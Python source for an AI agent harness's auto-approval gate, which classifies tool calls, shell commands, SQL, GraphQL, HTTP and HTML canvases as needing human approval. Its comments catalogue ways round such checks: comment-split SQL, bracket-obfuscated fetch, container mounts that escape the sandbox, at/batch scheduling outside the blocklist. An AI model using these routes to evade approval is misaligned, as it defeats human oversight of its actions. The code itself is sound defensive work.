_folded_dir.startswith("/")
|
|
or _folded_dir.startswith("~")
|
|
or _folded_is_sensitive(_folded_dir)
|
|
):
|
|
return True
|
|
except Exception:
|
|
return True # unexpected AST shape: fail closed
|
|
return False
|
|
|
|
|
|
# Cloud-metadata / link-local hosts (mirrors the sandbox SSRF blocklist): a
|
|
# read-named HTTP MCP tool pointed at one (fetch_url
|
|
# {"url": "http://169.254.169.254/..."}) reads instance credentials, so it asks.
|
|
_MCP_METADATA_HOST_RE = re.compile(
|
|
r"169\.254\.\d{1,3}\.\d{1,3}|"
|
|
r"100\.100\.100\.\d{1,3}|"
|
|
r"fd00:ec2::254|"
|
|
r"metadata\.google\.internal|"
|
|
r"metadata\.tencentyun\.com|"
|
|
r"://metadata(?=[:/])",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
# Argument names that carry a credential outward regardless of their value.
|
|
_MCP_CREDENTIAL_KEY_RE = re.compile(
|
|
r"^(?:authorization|proxy-authorization|cookie|set-cookie|"
|
|
r"x-api-key|api[-_]?key|apikey|x-auth-token|auth[-_]?token|access[-_]?token|"
|
|
r"refresh[-_]?token|id[-_]?token|bearer|private[-_]?key|secret[-_]?key|"
|
|
r"client[-_]?secret|password|passwd|session[-_]?token)$",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
def _mcp_arguments_reference_sensitive(arguments) -> bool:
|
|
"""True if any string in an MCP call's arguments names a credential path, a
|
|
credential/secret environment variable (get_env {"name": "OPENAI_API_KEY"}),
|
|
or a cloud-metadata host (fetch_url {"url": "http://169.254.169.254/..."})."""
|
|
|
|
def key_is_credential(key) -> bool:
|
|
return isinstance(key, str) and bool(_MCP_CREDENTIAL_KEY_RE.match(key.strip()))
|
|
|
|
def walk(value, is_prose: bool = False) -> bool:
|
|
if isinstance(value, str):
|
|
# A path can be carried under any argument name, so prose keys are
|
|
# skipped rather than path keys allowlisted: an issue body mentioning
|
|
# a credential file is text to store, not a file to open.
|
|
if is_prose:
|
|
return False
|
|
return (
|
|
_references_sensitive_path(value)
|
|
or bool(_AUTO_SENSITIVE_MCP_NOUN_RE.search(value))
|
|
or bool(_MCP_METADATA_HOST_RE.search(value))
|
|
)
|
|
if isinstance(value, dict):
|
|
if any(key_is_credential(k) for k in value):
|
|
return True
|
|
return any(
|
|
walk(v, is_prose or (isinstance(k, str) and k.lower() in _MCP_PROSE_KEYS))
|
|
for k, v in value.items()
|
|
)
|
|
if isinstance(value, (list, tuple)):
|
|
return any(walk(v, is_prose) for v in value)
|
|
return False
|
|
|
|
return walk(arguments)
|
|
|
|
|
|
# DDL object types CREATE / DROP / ALTER share (DROP FUNCTION and ALTER INDEX
|
|
# mutate just like CREATE INDEX).
|
|
_SQL_DDL_OBJECTS = (
|
|
r"table|database|schema|index|view|function|procedure|trigger|"
|
|
r"sequence|role|user|extension|type|domain|aggregate|policy"
|
|
)
|
|
# Modifiers between the DDL verb and object (CREATE OR REPLACE VIEW, DROP
|
|
# MATERIALIZED VIEW, CREATE UNIQUE INDEX).
|
|
_SQL_DDL_MODIFIERS = (
|
|
r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*"
|
|
)
|
|
# A SQL identifier (bare, "quoted", `quoted`, [bracketed]), optionally
|
|
# schema-qualified, so UPDATE "users"/public.users/ONLY .../[users] SET all hit.
|
|
_SQL_IDENT = r'(?:\w+|"(?:[^"]|"")*"|`(?:[^`]|``)*`|\[[^\]]+\])'
|
|
_SQL_UPDATE_TARGET = r"(?:only\s+)?" + _SQL_IDENT + r"(?:\s*\.\s*" + _SQL_IDENT + r")*"
|
|
# A read-named MCP tool (query_database, run_query) can still carry a mutating
|
|
# SQL statement; match DML/DDL as whole statements (DELETE FROM, DROP TABLE) so
|
|
# a natural-language query that merely contains the word "delete" stays safe.
|
|
_MCP_ARG_MUTATION_RE = re.compile(
|
|
r"\b(?:delete\s+from|"
|
|
r"drop\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
|
|
# Match the whole identifier (the outer trailing \b needs the alternative to
|
|
# end on a word boundary, so a bare \w stops mid-name and TRUNCATE users slips
|
|
# through); the optional opening quote/bracket/backtick covers "users"/[users].
|
|
r"truncate\s+(?:table\s+)?[\"\[`]?\w+|"
|
|
# UPDATE <target> [AS alias] SET: allow an explicit AS alias before SET so
|
|
# UPDATE users AS u SET is caught, not just the bare form. The implicit-alias
|
|
# form (UPDATE users u SET) is left out because it is indistinguishable from
|
|
# the prose "update <noun> <noun> set" and would flag natural language.
|
|
r"update\s+" + _SQL_UPDATE_TARGET + r"(?:\s+as\s+" + _SQL_IDENT + r")?\s+set\b|"
|
|
r"insert\s+into|replace\s+into|"
|
|
# SELECT ... INTO OUTFILE/DUMPFILE writes a file (MySQL); bare SELECT INTO
|
|
# <table> is left out (PL/pgSQL uses it to read into a variable).
|
|
r"select\s+[^;]*?\binto\s+(?:outfile|dumpfile)\b|"
|
|
# ALTER SYSTEM persists PostgreSQL server configuration; SYSTEM is not one of
|
|
# the DDL objects above, so match it explicitly.
|
|
r"alter\s+system\b|"
|
|
r"alter\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
|
|
r"create\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
|
|
r"grant\s+\w+|revoke\s+\w+|merge\s+into|"
|
|
# Catalog mutations: COMMENT ON <obj>, SECURITY LABEL, and LOCK TABLE change
|
|
# metadata or take a lock. Each needs a following keyword, so a "comment"
|
|
# column (SELECT comment FROM t) or "locks" table stays safe.
|
|
r"comment\s+on\b|security\s+label\b|lock\s+table\b|"
|
|
# PostgreSQL maintenance writes: REFRESH MATERIALIZED VIEW rewrites the view,
|
|
# REINDEX rebuilds an index. Both need a following object keyword/name, so a
|
|
# column or word "refresh"/"reindex" in prose stays safe.
|
|
r"refresh\s+materialized\s+view|reindex\s+\w+|"
|
|
# CALL proc(...) / EXEC[UTE] name / VACUUM mutate; CALL needs a following
|
|
# "(", ";", or end so natural-language "call me back" stays safe.
|
|
r"call\s+\w+(?=\s*[(;]|\s*$)|exec(?:ute)?\s+\w+|vacuum|"
|
|
# COPY ... FROM bulk-loads and COPY ... TO writes a file ([^;] stays in one
|
|
# statement).
|
|
r"copy\s+[^;]*?\b(?:from|to)\b)\b",
|
|
re.IGNORECASE,
|
|
)
|
|
# SQLite statements the base regex misses: ATTACH/DETACH a database (DATABASE
|
|
# optional via the quoted-path form), a write-form PRAGMA (name=value / name(...),
|
|
# unlike the read-form PRAGMA name), and load_extension() which runs a shared
|
|
# library. These tokens are not natural language, so benign text does not trip.
|
|
_MCP_ARG_SQLITE_MUTATION_RE = re.compile(
|
|
r"\b(?:attach|detach)\s+database\b"
|
|
r"|\battach\s+(?:database\s+)?['\"]"
|
|
r"|\bpragma\s+\w+(?:\.\w+)?\s*(?:=|\()"
|
|
r"|\bload_extension\s*\(",
|
|
re.IGNORECASE,
|
|
)
|
|
# State-changing SQL functions that mutate or write files inside a read-shaped
|
|
# SELECT (pg_terminate_backend, setval, pg_write_file, lo_export, ...). The
|
|
# trailing "(" is required, so a column named setval_count stays safe.
|
|
_MCP_ARG_SQL_FUNCTION_RE = re.compile(
|
|
r"\b(?:pg_terminate_backend|pg_cancel_backend|pg_write_file|lo_export|"
|
|
r"lo_import|setval|nextval|set_config|pg_notify|dblink_exec|pg_reload_conf|"
|
|
r"pg_rotate_logfile|"
|
|
# advisory locks change session/transaction lock state (read-shaped SELECT).
|
|
r"pg_advisory_(?:lock|lock_shared|unlock|unlock_shared|unlock_all|"
|
|
r"xact_lock|xact_lock_shared)|"
|
|
r"pg_try_advisory_(?:lock|lock_shared|xact_lock|xact_lock_shared))\s*\(",
|
|
re.IGNORECASE,
|
|
)
|
|
# SQL engines treat /* */ and -- comments as whitespace, so DELETE/**/FROM and
|
|
# UPDATE/**/users evade the \s+ in the mutation regex; collapse comments to a
|
|
# space before matching.
|
|
_SQL_COMMENT_RE = re.compile(r"/\*.*?\*/|--[^\n]*", re.DOTALL)
|
|
# A GraphQL mutation on a read-named tool. Directives are valid between the name
|
|
# and body (mutation M @audit { ... }), so allow @directive[(args)] before ( or {.
|
|
_GRAPHQL_MUTATION_RE = re.compile(
|
|
r"\bmutation\b\s*\w*\s*(?:@\w+(?:\s*\([^)]*\))?\s*)*[({]", re.IGNORECASE
|
|
)
|
|
# GraphQL # comments run to end-of-line and count as whitespace, so a comment
|
|
# between `mutation` and the body (mutation # note\n { ... }) would otherwise
|
|
# hide it; collapse them to a space before matching.
|
|
_GRAPHQL_COMMENT_RE = re.compile(r"#[^\n]*")
|
|
|
|
|
|
# HTTP verbs that mutate the target resource; a generic HTTP MCP tool
|
|
# (mcp__http__get_url {"method": "DELETE"}) mutates an external service even
|
|
# though its name looks read-only. GET/HEAD/OPTIONS/TRACE only read.
|
|
_MUTATING_HTTP_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"})
|
|
_HTTP_METHOD_KEYS = frozenset({"method", "http_method", "httpmethod", "verb", "http_verb"})
|
|
|
|
|
|
# Argument names that carry free text the tool stores or displays rather than
|
|
# acts on, so a path or a statement mentioned inside them is a mention.
|
|
_MCP_PROSE_KEYS = frozenset(
|
|
{
|
|
"text",
|
|
"body",
|
|
"message",
|
|
"msg",
|
|
"description",
|
|
"comment",
|
|
"content",
|
|
"title",
|
|
"summary",
|
|
"note",
|
|
"notes",
|
|
"prompt",
|
|
"caption",
|
|
"reason",
|
|
"markdown",
|
|
"blocks",
|
|
"detail",
|
|
"details",
|
|
"context",
|
|
}
|
|
)
|
|
# Argument names that carry a statement the tool will execute, as opposed to
|
|
# free text the tool will merely store or display.
|
|
_MCP_QUERY_KEYS = frozenset(
|
|
{
|
|
"query",
|
|
"sql",
|
|
"statement",
|
|
"stmt",
|
|
"command",
|
|
"cmd",
|
|
"script",
|
|
"expression",
|
|
"expr",
|
|
"filter",
|
|
"pipeline",
|
|
"aggregate",
|
|
"mutation",
|
|
"operation",
|
|
"graphql",
|
|
"queries",
|
|
"statements",
|
|
"commands",
|
|
}
|
|
)
|
|
|
|
|
|
def _mcp_arguments_mutate(arguments) -> bool:
|
|
"""True if an MCP call's arguments carry a mutating command, so a read-named
|
|
but write-capable tool (query_database {"query": "DELETE FROM runs"},
|
|
query_graphql {"query": "mutation { deleteIssue(id: 1) }"}, or an HTTP tool
|
|
{"method": "DELETE"}) asks."""
|
|
|
|
def walk(value, in_query: bool = False) -> bool:
|
|
if isinstance(value, str):
|
|
# Prose that merely mentions DELETE FROM (a chat message, an issue
|
|
# body) is not a statement this call will run.
|
|
if not in_query:
|
|
return False
|
|
_sql = _SQL_COMMENT_RE.sub(" ", value)
|
|
return (
|
|
bool(_MCP_ARG_MUTATION_RE.search(_sql))
|
|
or bool(_MCP_ARG_SQLITE_MUTATION_RE.search(_sql))
|
|
or bool(_MCP_ARG_SQL_FUNCTION_RE.search(_sql))
|
|
or bool(_GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value)))
|
|
)
|
|
if isinstance(value, dict):
|
|
for k, v in value.items():
|
|
if (
|
|
isinstance(k, str)
|
|
and k.lower() in _HTTP_METHOD_KEYS
|
|
and isinstance(v, str)
|
|
and v.strip().upper() in _MUTATING_HTTP_METHODS
|
|
):
|
|
return True
|
|
return any(
|
|
walk(v, in_query or (isinstance(k, str) and k.lower() in _MCP_QUERY_KEYS))
|
|
for k, v in value.items()
|
|
)
|
|
if isinstance(value, (list, tuple)):
|
|
return any(walk(v, in_query) for v in value)
|
|
return False
|
|
|
|
return walk(arguments)
|
|
|
|
|
|
# Tools that are read-only / non state-mutating regardless of their arguments,
|
|
# so auto mode never has to pause them (their safety needs no argument scan).
|
|
# render_html is NOT unconditionally safe: it runs arbitrary HTML/JS in the
|
|
# canvas preview frame. A static canvas (charts, layout, inline SVG) never
|
|
# reaches the network, but code that calls out can exfiltrate or fetch under the
|
|
# preview's CSP when artifact network access is enabled, so those ask; a canvas
|
|
# with no network construct still auto-runs. Matches JS egress APIs, a remote or
|
|
# root-relative <script src>/src=/href=/srcset, a CSS url()/@import that loads a
|
|
# resource, and ws(s) URLs. A leading "/" covers both //host (protocol-relative)
|
|
# and /path (root-relative, which the CSP resolves against the frame origin); a
|
|
# "./x" or bare relative ref and a url(#id)/data: ref are not matched, so an
|
|
# inline-SVG canvas (whose w3.org namespace lives in xmlns=) stays safe.
|
|
_RENDER_HTML_NETWORK_RE = re.compile(
|
|
r"\bfetch\s*\(|"
|
|
r"XMLHttpRequest|"
|
|
r"\bWebSocket\b|"
|
|
r"\bEventSource\b|"
|
|
r"\bsendBeacon\b|"
|
|
r"\bimportScripts\b|"
|
|
r"navigator\s*\.\s*serviceWorker|"
|
|
# new Worker(...) / new SharedWorker(...) run a script off the main thread
|
|
# that this static scan cannot see: a module worker from a CORS-enabled CDN
|
|
# executes remote code, and a blob/same-origin worker can fetch/importScripts
|
|
# to egress, all reachable under worker-src http: https: blob:. Gate the
|
|
# constructor like importScripts/serviceWorker; a var merely named myWorker
|
|
# (no "new") stays static.
|
|
r"\bnew\s+(?:Shared)?Worker\s*\(|"
|
|
r"@import|"
|
|
r"url\(\s*[\"']?\s*(?:https?:|/)|"
|
|
r"<script[^>]*\bsrc\s*=|"
|
|
r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
|
|
# Self-navigation sinks: location.assign/replace(...), window.open(...), and
|
|
# assigning a URL to (window.)location(.href). location.reload()/history.back
|
|
# do not navigate to a new URL, so they stay static.
|
|
r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
|
|
r"\bwindow\s*\.\s*open\s*\(|"
|
|
r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
|
|
# Bracket-access obfuscation: window['fetch'](...), self["open"](...).
|
|
r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
|
|
r"sendBeacon|serviceWorker)[\"']\s*\]|"
|
|
# The same for the navigation sinks: location['assign'](...),
|
|
# location["href"] = URL. Anchored to location (dotted or bracketed) so an
|
|
# ordinary str['replace'](...) or obj['href'] read stays static.
|
|
r"(?:\blocation|\[\s*[\"']location[\"']\s*\])\s*\[\s*[\"'](?:assign|replace)[\"']\s*\]\s*\(|"
|
|
r"(?:\blocation|\[\s*[\"']location[\"']\s*\])\s*\[\s*[\"']href[\"']\s*\]"
|
|
r"\s*=\s*[\"'`]?\s*(?:https?:|/)|"
|
|
# Computed bracket key spliced at runtime on a global host object
|
|
# (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
|
|
# index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
|
|
r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
|
|
r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
|
|
# Declarative meta-refresh navigation to a URL (order-tolerant); a bare
|
|
# content="30" self-reload has no url= and stays static.
|
|
r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
|
|
r"\bwss?://",
|
|
re.IGNORECASE,
|
|
)
|
|
# Block comments can split an egress token (fetch/*x*/(...)); strip them before
|
|
# matching. Line // comments are left alone -- stripping them would eat the // in
|
|
# an https:// URL and hide a real load.
|
|
_JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
|
|
|
|
|
|
def _render_html_reaches_network(arguments: dict) -> bool:
|
|
code = arguments.get("code")
|
|
if not isinstance(code, str):
|
|
return False
|
|
return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
|
|
|
|
|
|
# Tools that are read-only regardless of their arguments, so auto mode never has
|
|
# to pause them and their safety needs no argument scan. render_html is handled
|
|
# separately above because a networked canvas does need approval.
|
|
_ALWAYS_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
|
|
|
|
|
|
def is_always_safe_tool(name: str) -> bool:
|
|
"""True for tools that never need an auto-mode prompt on any arguments, so a
|
|
caller (e.g. the streaming provisional card) can allow them before the full
|
|
arguments are known. render_html is intentionally excluded: a networked
|
|
canvas needs approval, which cannot be judged before its arguments stream."""
|
|
return name in _ALWAYS_SAFE_TOOLS
|
|
|
|
|
|
# Tools whose provisional card is only a text preview of the arguments, so it can stream
|
|
# while awaiting approval.
|
|
_TEXT_PREVIEW_TOOLS = frozenset({"python", "terminal"})
|
|
|
|
|
|
def has_text_only_provisional_card(name: str) -> bool:
|
|
"""True when streaming this tool's arguments before approval shows only text.
|
|
|
|
A large code payload takes a minute or more to write, and suppressing the
|
|
card until the call completes leaves the chat blank the whole time. Nothing
|
|
runs before the decision either way, and you have to read the code to make
|
|
it.
|
|
"""
|
|
return name in _TEXT_PREVIEW_TOOLS
|
|
|
|
|
|
def is_potentially_unsafe_tool_call(name: str, arguments: dict) -> bool:
|
|
"""Whether a tool call must still pause for approval in auto mode.
|
|
|
|
Used by permission_mode="auto" ("Approve for me"): read-only calls
|
|
auto-run, anything that can mutate state, execute arbitrary code, or is
|
|
simply unrecognized asks first. Unknown tools fail closed.
|
|
"""
|
|
if name in _ALWAYS_SAFE_TOOLS:
|
|
return False
|
|
# render_html auto-runs a static canvas but asks once its HTML/JS reaches the
|
|
# network (fetch/WebSocket/remote script), which can egress under the canvas
|
|
# CSP when artifact network access is enabled.
|
|
if name == "render_html":
|
|
return _render_html_reaches_network(arguments)
|
|
if name.startswith(MCP_TOOL_PREFIX):
|
|
tool_name = name.split("__", 2)[-1]
|
|
# A mutating verb anywhere (get_or_create_issue, read_and_delete)
|
|
# overrides a read-only prefix.
|
|
if _AUTO_UNSAFE_MCP_VERB_RE.search(tool_name):
|
|
return True
|
|
# A credential noun (read_secret, list_tokens, get_credentials) makes a
|
|
# read-named tool a sensitive disclosure, so it asks too.
|
|
if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
|
|
return True
|
|
# A read-named fs tool pointed at a credential path is still a
|
|
# sensitive read (mcp__fs__read_file {"path": "/etc/passwd"}).
|
|
if _mcp_arguments_reference_sensitive(arguments):
|
|
return True
|
|
# A read-named tool carrying a mutating query (query_database
|
|
# {"query": "DELETE FROM runs"}) still mutates external state.
|
|
if _mcp_arguments_mutate(arguments):
|
|
return True
|
|
return not _AUTO_SAFE_MCP_TOOL_RE.match(tool_name)
|
|
if name == "terminal":
|
|
return _terminal_is_potentially_unsafe(str(arguments.get("command", "")))
|
|
if name == "python":
|
|
return _python_is_potentially_unsafe(str(arguments.get("code", "")))
|
|
return True
|
|
|
|
|
|
# Terminal commands that are high risk regardless of their arguments, so auto
|
|
# ("Approve for me") pauses them while ordinary dev commands (pip install, mkdir,
|
|
# cp, make, git, ...) run. The hard-block command set, rlimits, secret-env
|
|
# stripping and the per-session scratch workdir stay on beneath this prompt.
|
|
_HIGH_RISK_COMMANDS = frozenset(
|
|
{
|
|
# privilege escalation
|
|
"sudo",
|
|
"su",
|
|
"doas",
|
|
"pkexec",
|
|
# destructive filesystem / storage devices (mkfs* matched by prefix)
|
|
"rm",
|
|
"rmdir",
|
|
"shred",
|
|
"dd",
|
|
"wipefs",
|
|
"fdisk",
|
|
"parted",
|
|
"blkdiscard",
|
|
"chattr",
|
|
"truncate",
|
|
# Windows cmd.exe built-ins that delete files / trees (the terminal
|
|
# executor runs `cmd /c` there, and these are not in _BLOCKED_COMMANDS_WIN)
|
|
"del",
|
|
"erase",
|
|
"rd",
|
|
# Ending a process kills work in progress (a training run, the server
|
|
# itself); a power command ends every process at once.
|
|
"kill",
|
|
"pkill",
|
|
"killall",
|
|
"taskkill",
|
|
"tskill",
|
|
"shutdown",
|
|
"reboot",
|
|
"halt",
|
|
"poweroff",
|
|
# setcap grants file capabilities, a privilege change without sudo.
|
|
"setcap",
|
|
# accounts / persistence / system services
|
|
"crontab",
|
|
# at/batch hand the payload to atd, which runs it later as this user and
|
|
# outside this invocation's blocklist, rlimits, timeout and cancellation.
|
|
"at",
|
|
"batch",
|
|
"atrm",
|
|
"systemctl",
|
|
"service",
|
|
"useradd",
|
|
"userdel",
|
|
"usermod",
|
|
"groupadd",
|
|
"groupdel",
|
|
"groupmod",
|
|
"adduser",
|
|
"deluser",
|
|
"addgroup",
|
|
"delgroup",
|
|
"gpasswd",
|
|
"newusers",
|
|
"chgpasswd",
|
|
"passwd",
|
|
"chpasswd",
|
|
"visudo",
|
|
"chsh",
|
|
# firewall / mounts
|
|
"iptables",
|
|
"ip6tables",
|
|
"nft",
|
|
"ufw",
|
|
"mount",
|
|
"umount",
|
|
# remote exec / raw network transfer
|
|
"ssh",
|
|
"slogin",
|
|
"scp",
|
|
"sftp",
|
|
"telnet",
|
|
"nc",
|
|
"ncat",
|
|
"netcat",
|
|
"socat",
|
|
"ftp",
|
|
"tftp",
|
|
# POSIX unlink(1) deletes a file exactly like rm, which is gated above.
|
|
"unlink",
|
|
# Windows / macOS storage destruction, the platform twins of the POSIX
|
|
# mkfs/wipefs/dd family already gated above.
|
|
"format",
|
|
"diskpart",
|
|
"diskutil",
|
|
# Windows / macOS scheduled tasks, registry and service control: the twins
|
|
# of crontab/systemctl. Gated wholesale (a read-only `reg query` prompts
|
|
# too) because the destructive subcommand lives in the arguments.
|
|
"systemd-run",
|
|
"schtasks",
|
|
"reg",
|
|
"sc",
|
|
"launchctl",
|
|
# container/VM runtimes: the daemon acts with host privileges, so
|
|
# `docker run -v /:/host ...` writes the real filesystem, escaping the
|
|
# child's workdir and rlimit sandbox entirely. chroot/nsenter/unshare
|
|
# cross a privilege or namespace boundary and then exec a nested command,
|
|
# so the wrapper hides the real action.
|
|
"chroot",
|
|
"nsenter",
|
|
"unshare",
|
|
"docker",
|
|
"podman",
|
|
"nerdctl",
|
|
"ctr",
|
|
"crictl",
|
|
"lxc",
|
|
"machinectl",
|
|
"kubectl",
|
|
}
|
|
)
|
|
# sysctl's write and load forms change kernel parameters; a read-only query
|
|
# (sysctl -a, sysctl net.ipv4.ip_forward) stays automatic.
|
|
_SYSCTL_WRITE_FLAGS = frozenset({"-w", "--write", "-p", "--load", "--system"})
|
|
# setpriv changes privilege state and then execs its remaining arguments, so the
|
|
# real command sits behind it. Kept out of _AUTO_SAFE_WRAPPERS (it is not safe in
|
|
# its own right) and instead made transparent only for the high-risk scan, where
|
|
# the flags that raise privilege are gated on their own.
|
|
_PRIVILEGE_EXEC_WRAPPERS = frozenset({"setpriv"})
|
|
_SETPRIV_PRIVILEGE_FLAGS = frozenset(
|
|
{
|
|
"--reuid",
|
|
"--regid",
|
|
"--ruid",
|
|
"--euid",
|
|
"--rgid",
|
|
"--egid",
|
|
"--groups",
|
|
"--init-groups",
|
|
"--inh-caps",
|
|
"--ambient-caps",
|
|
"--bounding-set",
|
|
"--securebits",
|
|
"--selinux-label",
|
|
"--apparmor-profile",
|
|
}
|
|
)
|
|
# fallocate replaces a range with a hole, zeroes it or removes it, destroying
|
|
# file contents in place. Plain allocation (-l SIZE) only grows a file.
|
|
_FALLOCATE_DESTRUCTIVE_FLAGS = frozenset(
|
|
{"-p", "--punch-hole", "-z", "--zero-range", "-c", "--collapse-range", "-d", "--dig-holes"}
|
|
)
|
|
# High risk only with a recursive flag (chmod -R 777 .); a scoped
|
|
# `chmod +x build.sh` stays out.
|
|
_HIGH_RISK_RECURSIVE_COMMANDS = frozenset({"chmod", "chown", "chgrp"})
|
|
# Commands that forward command position to a following command name
|
|
# (find . -exec rm, echo x | xargs rm, parallel rm, watch rm), so the wrapped
|
|
# command is checked against the high-risk sets too.
|
|
_HIGH_RISK_FORWARDING_COMMANDS = frozenset(
|
|
{
|
|
"find",
|
|
"fd",
|
|
"xargs",
|
|
"parallel",
|
|
"watch",
|
|
"strace",
|
|
"ltrace",
|
|
"ktrace",
|
|
"dtruss",
|
|
"perf",
|
|
"valgrind",
|
|
}
|
|
)
|
|
# Of those, find/fd only execute a child after an explicit -exec-style flag.
|
|
# A tracer or profiler runs the rest of the line as a child process, so the
|
|
# real command sits in argument position behind it.
|
|
_TRACER_LAUNCHERS = frozenset({"strace", "ltrace", "ktrace", "dtruss", "perf", "valgrind"})
|
|
_EXEC_FLAG_FORWARDING_COMMANDS = frozenset({"find", "fd"})
|
|
_EXEC_FORWARD_FLAGS = frozenset(
|
|
{"-exec", "-execdir", "-ok", "-okdir", "--exec", "--exec-batch", "-x", "-X"}
|
|
)
|
|
# The long forms also accept the command attached to the flag (fd --exec=rm),
|
|
# where the value is command position rather than a discarded option argument.
|
|
_ATTACHED_EXEC_FLAGS = frozenset({"-exec", "-execdir", "--exec", "--exec-batch"})
|
|
# find/fd flags that delete matches outright (a bare `find . -delete`, with no
|
|
# separate command token to catch); an `-exec rm` is caught via forwarding.
|
|
_HIGH_RISK_FIND_FLAGS = frozenset({"-delete"})
|
|
# Flags whose VALUE is a command the tool then executes, so a payload (even a
|
|
# hard-blocked one) rides inside an argument instead of at command position.
|
|
# GNU tar --checkpoint-action=exec=CMD, rsync/scp -e REMOTE_SHELL.
|
|
_HIGH_RISK_ARG_EXEC_FLAGS = frozenset({"--checkpoint-action", "--rsh", "--rsync-path"})
|
|
# ...but only for the utilities that actually run them; otherwise a mere
|
|
# mention (printf '%s' --rsh, a grep for the flag name) would prompt.
|
|
_ARG_EXEC_FLAG_OWNERS = frozenset({"tar", "gtar", "bsdtar", "rsync", "scp", "sftp"})
|
|
# An interpreter run as a network server (python -m http.server, uvicorn app:api)
|
|
# listens on a socket; the sandbox has no network namespace, so the session
|
|
# workdir becomes reachable wherever that port is exposed. Position-scoped, since
|
|
# a bare mention (pip install uvicorn, grep uvicorn reqs.txt) starts no listener.
|
|
_LISTENER_PY_MODULES = (
|
|
r"http\.server|SimpleHTTPServer|uvicorn|gunicorn|waitress|flask|"
|
|
r"twisted|websockets|aiohttp\.web"
|
|
)
|
|
_LISTENER_PY_MODULE_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*(?:\S*/)?"
|
|
r"(?:python|pypy)[0-9.]*\s+(?:-\S+\s+)*-m\s+(?:" + _LISTENER_PY_MODULES + r")\b",
|
|
re.IGNORECASE,
|
|
)
|
|
# The same modules as the command-position regex, matched after wrapper
|
|
# resolution so `env python -m http.server` and `timeout 60 python -m ...`
|
|
# are seen too.
|
|
_LISTENER_PY_MODULE_NAMES = frozenset(
|
|
{
|
|
"http.server",
|
|
"simplehttpserver",
|
|
"uvicorn",
|
|
"gunicorn",
|
|
"waitress",
|
|
"flask",
|
|
"twisted",
|
|
"websockets",
|
|
"aiohttp.web",
|
|
}
|
|
)
|
|
_LISTENER_BINARIES = frozenset({"uvicorn", "gunicorn", "waitress-serve", "hypercorn", "daphne"})
|
|
_LISTENER_BIN_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
r"(?:uvicorn|gunicorn|waitress-serve|hypercorn|daphne)\b"
|
|
)
|
|
# curl upload/POST flags: local data sent out (exfiltration surface). The short
|
|
# forms may be attached (-d@f, -Ffile=@dump.sql), so they match prefix-wise.
|
|
_CURL_UPLOAD_LONG_FLAGS = frozenset(
|
|
{
|
|
"--data",
|
|
"--data-ascii",
|
|
"--data-binary",
|
|
"--data-raw",
|
|
"--data-urlencode",
|
|
"--form",
|
|
"--upload-file",
|
|
}
|
|
)
|
|
_CURL_UPLOAD_SHORT_FLAGS = ("-d", "-F", "-T")
|
|
# curl's explicit-method flags and the methods that mutate/delete a remote
|
|
# resource (a plain GET download stays out). POST is omitted: it is the ordinary
|
|
# upload verb and is already caught by the body/upload flags above.
|
|
# wget spells the request method --method=DELETE.
|
|
_WGET_METHOD_FLAGS = frozenset({"--method"})
|
|
_CURL_METHOD_FLAGS = frozenset({"-X", "--request"})
|
|
_CURL_DESTRUCTIVE_METHODS = frozenset({"delete", "put", "patch"})
|
|
# wget upload/POST flags. Kept separate from curl's so a benign wget short option
|
|
# (wget -T 10 timeout, wget -F force-html) is not misread as an upload.
|
|
_WGET_UPLOAD_FLAGS = frozenset({"--post-data", "--post-file", "--body-data", "--body-file"})
|
|
# curl/wget output piped straight into an interpreter is remote code execution.
|
|
_PIPE_TO_INTERPRETER_RE = re.compile(
|
|
r"\|\s*(?:sudo\s+)?(?:sh|bash|zsh|dash|ksh|fish|python[0-9.]*|node|ruby|perl|php)\b"
|
|
)
|
|
_BARE_TRUNCATING_REDIRECT_RE = re.compile(r"(?:^|[;&|\n(]|&&|\|\|)\s*(?::|true)?\s*>(?!>)\s*\S")
|
|
_HERESTRING_TO_INTERPRETER_RE = re.compile(
|
|
r"\b(?:sh|bash|zsh|dash|ksh|fish|ash|python[0-9.]*|node|ruby|perl|php)\b[^\n]*<<<"
|
|
)
|
|
# An interpreter that executes a process substitution's output as a script
|
|
# (bash <(printf 'rm -rf x'), source <(...)): the generated content is never
|
|
# literal text, so it is unscreenable and fails closed. A non-interpreter consumer
|
|
# (diff <(sort a) <(sort b)) only reads the file and stays out.
|
|
_PROC_SUBST_EXEC_RE = re.compile(
|
|
r"\b(?:sh|bash|zsh|dash|ksh|fish|ash|source|eval|python[0-9.]*|node|nodejs|bun|ruby|perl|php)\b"
|
|
r"[^\n]*<\("
|
|
r"|(?:^|[;&|\n(]|&&|\|\|)\s*\.\s+<\("
|
|
)
|
|
# Network clients beyond curl/wget that open a socket to a remote host: the
|
|
# sandbox has no network namespace, so they can exfil the workdir or fetch and run
|
|
# remote code. Command position only, so a filename argument (scp ./ssh_notes.txt)
|
|
# is not misread as the command.
|
